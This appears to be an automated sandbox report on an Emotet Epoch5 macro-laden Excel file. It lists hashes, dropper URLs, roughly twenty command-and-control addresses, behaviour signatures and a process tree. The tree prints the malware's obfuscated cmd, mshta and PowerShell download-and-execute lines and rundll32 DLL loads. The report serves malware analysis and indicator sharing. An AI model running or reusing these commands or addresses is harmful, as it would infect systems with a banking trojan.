emotet | fb18f3109867f5c66552ed2cb8f624bd0d7b882b0c68ede96f53782bde872794

General

Target

fb18f3109867f5c66552ed2cb8f624bd0d7b882b0c68ede96f53782bde872794.xlsm
Size

115KB
MD5

e5a6dd30e775e511da392ab94af294c7
SHA1

ec759009965c6c073a1d463715dd231caade076a
SHA256

fb18f3109867f5c66552ed2cb8f624bd0d7b882b0c68ede96f53782bde872794
SHA512

5fb81b638f4b1333b5c990e44f5ce746e66687dccd2d0fb9778128c95822d88c4d1a1627c1f593f7e6a043eed256112c8882df579d6741eec343b718e5021afe

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3764	2656	cmd.exe	67

Blocklisted process makes network request 6 IoCs

flow	pid	Process
27	1508	mshta.exe
28	3652	powershell.exe
30	3652	powershell.exe
40	1908	rundll32.exe
41	1908	rundll32.exe
43	1908	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2732	rundll32.exe
2288	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Aydeswvkagc\saabe.oov	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2280	1508	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2656	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3652	powershell.exe
3652	powershell.exe
3652	powershell.exe
2280	WerFault.exe
2280	WerFault.exe
2280	WerFault.exe
2280	WerFault.exe
2280	WerFault.exe
2280	WerFault.exe
2280	WerFault.exe
2280	WerFault.exe
2280	WerFault.exe
2280	WerFault.exe
2280	WerFault.exe
2280	WerFault.exe
2280	WerFault.exe
2280	WerFault.exe
1908	rundll32.exe
1908	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3652	powershell.exe
Token: SeDebugPrivilege	2280	WerFault.exe

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 2656 wrote to memory of 3028	2656	EXCEL.EXE	70
PID 2656 wrote to memory of 3028	2656	EXCEL.EXE	70
PID 2656 wrote to memory of 3764	2656	EXCEL.EXE	72
PID 2656 wrote to memory of 3764	2656	EXCEL.EXE	72
PID 3764 wrote to memory of 1508	3764	cmd.exe	74
PID 3764 wrote to memory of 1508	3764	cmd.exe	74
PID 1508 wrote to memory of 3652	1508	mshta.exe	76
PID 1508 wrote to memory of 3652	1508	mshta.exe	76
PID 3652 wrote to memory of 4060	3652	powershell.exe	79
PID 3652 wrote to memory of 4060	3652	powershell.exe	79
PID 4060 wrote to memory of 2732	4060	cmd.exe	80
PID 4060 wrote to memory of 2732	4060	cmd.exe	80
PID 4060 wrote to memory of 2732	4060	cmd.exe	80
PID 2732 wrote to memory of 2288	2732	rundll32.exe	81
PID 2732 wrote to memory of 2288	2732	rundll32.exe	81
PID 2732 wrote to memory of 2288	2732	rundll32.exe	81
PID 2288 wrote to memory of 952	2288	rundll32.exe	82
PID 2288 wrote to memory of 952	2288	rundll32.exe	82
PID 2288 wrote to memory of 952	2288	rundll32.exe	82
PID 952 wrote to memory of 1908	952	rundll32.exe	83
PID 952 wrote to memory of 1908	952	rundll32.exe	83
PID 952 wrote to memory of 1908	952	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fb18f3109867f5c66552ed2cb8f624bd0d7b882b0c68ede96f53782bde872794.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2656
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3028
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3764
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1508
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3652
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4060
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2732
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2288
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Aydeswvkagc\saabe.oov",vSqnn
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:952
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Aydeswvkagc\saabe.oov",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1908
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1508 -s 1664
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2280

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/952-563-0x0000000002BF0000-0x0000000002C18000-memory.dmp

Filesize
160KB

Download
memory/952-561-0x0000000002BF1000-0x0000000002C15000-memory.dmp

Filesize
144KB

Download
memory/1908-564-0x0000000004A90000-0x0000000004AB8000-memory.dmp

Filesize
160KB

Download
memory/2288-562-0x0000000005550000-0x0000000005578000-memory.dmp

Filesize
160KB

Download
memory/2288-559-0x00000000053F0000-0x0000000005418000-memory.dmp

Filesize
160KB

Download
memory/2288-557-0x0000000005390000-0x00000000053B8000-memory.dmp

Filesize
160KB

Download
memory/2288-555-0x00000000052E0000-0x0000000005308000-memory.dmp

Filesize
160KB

Download
memory/2288-553-0x0000000005270000-0x0000000005298000-memory.dmp

Filesize
160KB

Download
memory/2656-129-0x00007FF88FA70000-0x00007FF88FA80000-memory.dmp

Filesize
64KB

Download
memory/2656-115-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2656-116-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2656-117-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2656-118-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2656-119-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2656-128-0x00007FF88FA70000-0x00007FF88FA80000-memory.dmp

Filesize
64KB

Download
memory/2732-547-0x0000000003470000-0x0000000003498000-memory.dmp

Filesize
160KB

Download
memory/3652-501-0x0000012ABEF20000-0x0000012ABEF42000-memory.dmp

Filesize
136KB

Download
memory/3652-520-0x0000012AD7280000-0x0000012AD72BC000-memory.dmp

Filesize
240KB

Download
memory/3652-531-0x0000012AD77A0000-0x0000012AD7816000-memory.dmp

Filesize
472KB

Download
memory/3652-538-0x0000012ABEF86000-0x0000012ABEF88000-memory.dmp

Filesize
8KB

Download
memory/3652-537-0x0000012ABEF83000-0x0000012ABEF85000-memory.dmp

Filesize
8KB

Download
memory/3652-536-0x0000012ABEF80000-0x0000012ABEF82000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads